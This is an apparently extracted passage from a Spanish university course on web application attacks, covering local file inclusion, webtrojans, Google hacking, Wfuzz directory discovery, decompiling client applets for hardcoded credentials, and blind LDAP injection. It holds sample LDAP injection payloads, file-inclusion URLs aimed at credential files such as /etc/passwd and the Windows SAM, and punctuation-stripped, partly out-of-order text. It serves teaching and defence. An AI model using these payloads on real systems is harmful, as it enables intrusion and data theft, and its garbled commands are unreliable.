Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 39: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

